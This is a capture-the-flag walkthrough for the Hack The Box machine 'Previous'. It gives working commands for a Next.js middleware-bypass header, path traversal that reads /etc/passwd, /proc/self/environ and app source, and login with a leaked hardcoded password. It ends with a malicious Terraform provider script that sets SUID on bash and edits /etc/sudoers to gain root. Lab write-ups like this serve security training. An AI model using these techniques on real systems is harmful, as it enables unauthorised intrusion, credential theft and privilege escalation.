Previous
Previous
https://app.hackthebox.com/machines/Previous
IP
10.10.11.83
Domain/Host
previous.htb
Nmap Results
Web Enumeartion
We enumerate hidden web directories
feroxbuster -u http://previous.htb/ -w /usr/share/seclists/Discovery/Web-
Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e
We fingerprint the web technologies
whatweb http://previous.htb
We check the website headers ✅
curl -I http://previous.htb/
Next.js is running
Node.js
This is an HTTP response header showing:
200 OK → request successful
nginx/1.18.0 (Ubuntu) → web server software
Next.js → app framework used (powered by Node.js)
ETag / Content-Length / Date → metadata for caching & response
Since it’s Next.js, it might be vulnerable to CVE-2025-29927 (PoC exists) depending on
the version/config.
https://github.com/alihussainzada/CVE-2025-29927-PoC/tree/main
X-Middleware-Subrequest:
src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:mi
ddleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Next.js CVE-2025-29927-PoC
1. We brute-force API endpoints (as described in the poc)
dirsearch -u http://previous.htb/api/ \
-w /usr/share/wordlists/dirb/common.txt \
-H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware"
We found the entpoint /api/download
Info
The /api/download endpoint is designed to let users download a file by passing its name
through the example parameter.
However, the application does not properly sanitize or restrict this parameter.
As a result, an attacker can abuse it with directory traversal sequences ( ../ ) to break
out of the intended folder and read sensitive system files (e.g., /proc/self/environ ,
/app/server.js ).
This effectively turns the endpoint into a Local File Inclusion ( LFI ) vulnerability,
exposing environment variables, source code, and other critical data.
We Fuzz the Download Endpoint to Identify the Correct Parameter
ffuf -u 'http://10.129.114.40/api/download?FUZZ=test' -w
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H 'Host:
previous.htb' -H 'x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware' -r -mc all -fs $BL -
We got the Parameter example
We Confirm the Correct Parameter by Testing with Curl
curl -i 'http://10.129.114.40/api/download?example=test' \
-H 'Host: previous.htb' \
-H 'x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware'
Info
We verified that the parameter example is responsible for file downloads. Supplying a
dummy value ( example=test ) no longer triggers a generic error, but returns
{"error":"File not found"} instead. This confirms that the server attempted to fetch
the file, proving the parameter can be abused for Local File Inclusion ( LFI )
Testing with an Invalid Parameter
curl -i 'http://10.129.114.40/api/download?blabla=test' \
-H 'Host: previous.htb' \
-H 'x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware'
Info
When testing with a random parameter such as blabla=test , the API responds with:
{"error":"Invalid filename"}
This behavior shows that the application does not recognize arbitrary parameters. Any
parameter other than the intended one will trigger the Invalid filename error.
In contrast, when using the correct parameter example , the response changes to
{"error":"File not found"} , which proves that the server actually attempted to fetch
the file.
2. Exploit path traversal to read environment variables
curl -s "http://previous.htb/api/download?
example=../../../../../../proc/self/environ" \
-H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware" \
| tr '\0' '\n'
We abused the example parameter with directory traversal to access /proc/self/environ
and leak environment variables
Info
This output comes from /proc/self/environ and shows the environment variables of
the running Node.js process.
NODE_VERSION=18.20.8 → The application runs on Node.js v18.20.8
HOSTNAME=0.0.0.0 → The server is bound to all interfaces
YARN_VERSION=1.22.22 → Yarn package manager version
SHLVL=1 → Current shell level
PORT=3000 → The application listens on port 3000 internally
HOME=/home/nextjs → The home directory of the service user
PATH=... → Standard system path used for binaries
NEXT_TELEMETRY_DISABLED=1 → Next.js telemetry reporting is disabled
PWD=/app → Current working directory of the application
NODE_ENV=production → Application is running in production mode
Question
Why do we go for /proc/self/environ ?
When we discover a Local File Inclusion ( LFI ) or path traversal vulnerability, our first
instinct is to check for files that might contain credentials or sensitive runtime
information. While /etc/passwd is the classic proof-of-concept target (it confirms that
LFI works), it rarely contains useful secrets for exploitation.
Instead, /proc/self/environ is much more valuable because it holds the environment
variables of the current process. Modern applications (especially Node.js, Next.js ,
Python, PHP frameworks, etc.) heavily rely on environment variables to store secrets
such as database credentials, JWT secrets, API tokens, and admin passwords.
So, when we read /proc/self/environ , we directly leak the sensitive values the web
application is using at runtime. That’s why many writeups (and experienced attackers)
immediately test it—it’s part of the standard “LFI playbook.”
We first prove traversal, then grab secrets and app internals. As a PoC we read /etc/passwd ,
then we jump straight to runtime secrets via /proc/self/environ . From there we pull the
server bootstrap and Next.js build artifacts to uncover hidden routes (e.g., NextAuth).
Order (tiny):
1. /etc/passwd – PoC that LFI works.
2. /proc/self/environ – environment secrets (e.g., ADMIN_SECRET , NEXTAUTH_SECRET ).
3. /proc/self/cmdline – launch args/paths.
4. /app/server.js – server entry/config hints.
5. /app/.next/routes-manifest.json (and, if present)
/app/.next/server/pages/api/auth/%5B...nextauth%5D.js – hidden routes/auth logic.
One-liners (adjust host):
PoC
curl -s 'http://previous.htb/api/download?example=../../../../../../etc/passwd' -H
'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
To enumerate more files inside the .next folder, we also used
Gobuster:
gobuster dir -u "http://previous.htb/api/download?example=../../../app/.next/" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
\ -H "X-Middleware-Subrequest:
middleware:middleware:middleware:middleware:middleware"
Info
This revealed the static/ and server/ directories inside the Next.js build, which
further guided our exploration.
Additionally, we cross-referenced the publicly available Next.js documentation to
understand what artifacts the next build process generates—particularly the .next
folder and the routes-manifest.json file, which lists all static and dynamic routes. This
confirmation comes straight from the official Deploying documentation: “Deploying |
Next.js”
https://nextjs.org/docs/13/app/building-your-application/deploying
3. Read server configuration
curl -s "http://previous.htb/api/download?example=../../../../../../app/server.js"
\
-H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware"
We extracted /app/server.js to understand how the backend was configured.
Info
This code is the Next.js server startup script ( server.js ) used in production.
It imports path , sets NODE_ENV=production , and changes the working directory to
/app .
Reads PORT (default 3000) and HOSTNAME (default 0.0.0.0 ).
Loads a large Next.js configuration object ( nextConfig ) defining build/output
( .next dir), routes, images, caching, etc.
Stores this config in the environment ( __NEXT_PRIVATE_STANDALONE_CONFIG ).
Finally, it calls startServer() from Next.js to boot the web application with the given
settings.
👉 In short: this file is the entry point that launches the Next.js production server with its
configuration.
4. Extract routing information
We downloaded the Next.js routes-manifest.json file which revealed the dynamic
authentication route.
curl -s "http://previous.htb/api/download?
example=../../../../../../app/.next/routes-manifest.json" \
-H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware"
Info
This file is the routes-manifest.json from a Next.js application. It defines how the app
handles routing.
version: 3 → Manifest format version.
pages404: true → A custom 404 page exists.
redirects → Automatic redirects, e.g., /path/ → /path .
dynamicRoutes → Parameterized routes:
/api/auth/[...nextauth] → NextAuth authentication API endpoint.
/docs/[section] → Documentation section route with variable parameters.
staticRoutes → Fixed routes such as / , /docs , /signin , and docs subpages.
rsc → Configuration for React Server Components ( .rsc files, special headers).
rewriteHeaders → Internal headers used by Next.js for URL rewriting.
👉 In short: this manifest shows the routing structure of the application, including
hidden or dynamic endpoints like NextAuth and docs sections, which can be useful for
further enumeration.
5. Locate sensitive NextAuth source file
We accessed the NextAuth API file inside the .next/server/pages/api/auth/ directory.
Since the filename contains brackets, we URL-encoded it.
curl -s "http://previous.htb/api/download?
example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js" \
-H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware"
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>
{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-
server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",
{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in
n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?
n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",
{enumerable:!0,get:function(){return r}});var r=function(e){return
e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUT
E",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:
()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var
a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o=
{session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:
{username:{label:"User",type:"username"},password:
{label:"Password",type:"password"}},authorize:async
e=>e?.username==="jeremy"&&e.password===
(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?
{id:"1",name:"Jeremy"}:null})],pages:
{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-
auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new
a.PagesAPIRouteModule({definition:
{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth
]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-
runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
Note
It imports NextAuth ( require("next-auth") ) and the Credentials Provider.
Authentication strategy: JWT-based sessions.
Credentials provider setup:
Accepts username and password .
The authorize function checks:
If username === "jeremy" 🚨
And if password === process.env.ADMIN_SECRET OR the fallback string
"MyNameIsJeremyAndILovePancakes" . 🚨
If valid, it authenticates the user as Jeremy (id=1).
Custom sign-in page: /signin .
Secret key: NEXTAUTH_SECRET environment variable.
👉 In short: this file defines the NextAuth login logic. It reveals a hardcoded fallback
credential for the user jeremy, meaning anyone who knows
"MyNameIsJeremyAndILovePancakes" can log in if the environment variable ADMIN_SECRET
is not set.
Done
📝 Exploit Summary – Previous (HTB)
We identified that the target was running Next.js and discovered a vulnerable endpoint
/api/download .
This endpoint allowed path traversal, enabling us to read sensitive files from the server.
First, we leaked the environment variables, confirming the application ran in production
under /app .
Next, we accessed the server configuration file and the Next.js routing manifest, which
revealed hidden dynamic routes.
Among these, we found the NextAuth authentication route and managed to download its
compiled source file.
The file contained the authentication logic, which hardcoded a fallback credential for the
user jeremy.
With this knowledge, we successfully authenticated as jeremy and gained access to the
system.
User Flag
We connect via SSH as Jeremy
(PW= MyNameIsJeremyAndILovePancakes) 🔑
ssh [email protected]
We capture the user flag 🏴💻
cat /home/jeremy/user.txt
PRIVESC
We check our sudo privileges
sudo -l
We can run as root /usr/bin/terraform -chdir\=/opt/examples apply
We explore the examples directory 📁
cd /opt/examples && ls -al
We read the Terraform config
cat main.tf
Info
This is a Terraform configuration file ( main.tf ).
It defines a custom provider called examples hosted at
previous.htb/terraform/examples .
A variable source_path is declared with default value /root/examples/hello-
world.ts .
It has validation: must include /root/examples/ and cannot contain .. .
The provider examples is initialized.
A resource examples_example is created, which uses the source_path variable.
Finally, an output destination_path is defined, showing the destination path of the
resource.
👉 In short: this config forces Terraform to process files inside
/root/examples/ , which
can potentially be abused since jeremy can run Terraform as root.
We list contents of /opt 📂
ls -la /opt
In /opt we see a directory named terraform-provider-examples . This is the path
Terraform expects when searching for the provider previous.htb/terraform/examples .
Note
1. We create a fake provider script at /tmp/terraform-provider-examples that sets SUID
on /bin/bash , copies it to /tmp/rootbash , and adds our user to /etc/sudoers .
2. We make it executable with chmod +x /tmp/terraform-provider-examples .
3. We configure Terraform to load our provider by writing /tmp/terraform.rc with a
dev_overrides entry pointing to /tmp .
4. We set the config path: export TF_CLI_CONFIG_FILE=/tmp/terraform.rc .
5. We run Terraform as root with sudo /usr/bin/terraform -chdir=/opt/examples apply .
6. Terraform executes our malicious script as root, creating /tmp/rootbash .
7. We launch a root shell with /tmp/rootbash -p .
We prepare a malicious Terraform provider
cat > /tmp/terraform-provider-examples << 'EOF'
#!/bin/bash
# Malicious provider script
chmod +s /bin/bash
cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash
echo 'jeremy ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
echo '{"malicious": "provider"}'
EOF
chmod +x /tmp/terraform-provider-examples
export TF_CLI_CONFIG_FILE=/tmp/terraform.rc
cat > /tmp/terraform.rc << 'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}
EOF
Info
We drop a fake provider script as /tmp/terraform-provider-examples that sets SUID
on /bin/bash , creates /tmp/rootbash , and adds jeremy to sudoers.
We mark it executable with chmod +x .
We write /tmp/terraform.rc with a dev_overrides rule pointing
previous.htb/terraform/examples to /tmp .
We export TF_CLI_CONFIG_FILE=/tmp/terraform.rc so Terraform loads our malicious
provider.
sudo /usr/bin/terraform -chdir=/opt/examples apply
sudo /usr/bin/terraform -chdir=/opt/examples apply
Info
Running sudo /usr/bin/terraform -chdir=/opt/examples apply forces Terraform to
load our overridden provider
Terraform executes /tmp/terraform-provider-examples with root privileges.
Our script runs, creating /tmp/rootbash (SUID binary) and adding jeremy to
sudoers.
We gain a root shell
/tmp/rootbash -p
We capture the root flag 🏴☠️🏆
cat /root/root.txt
1/1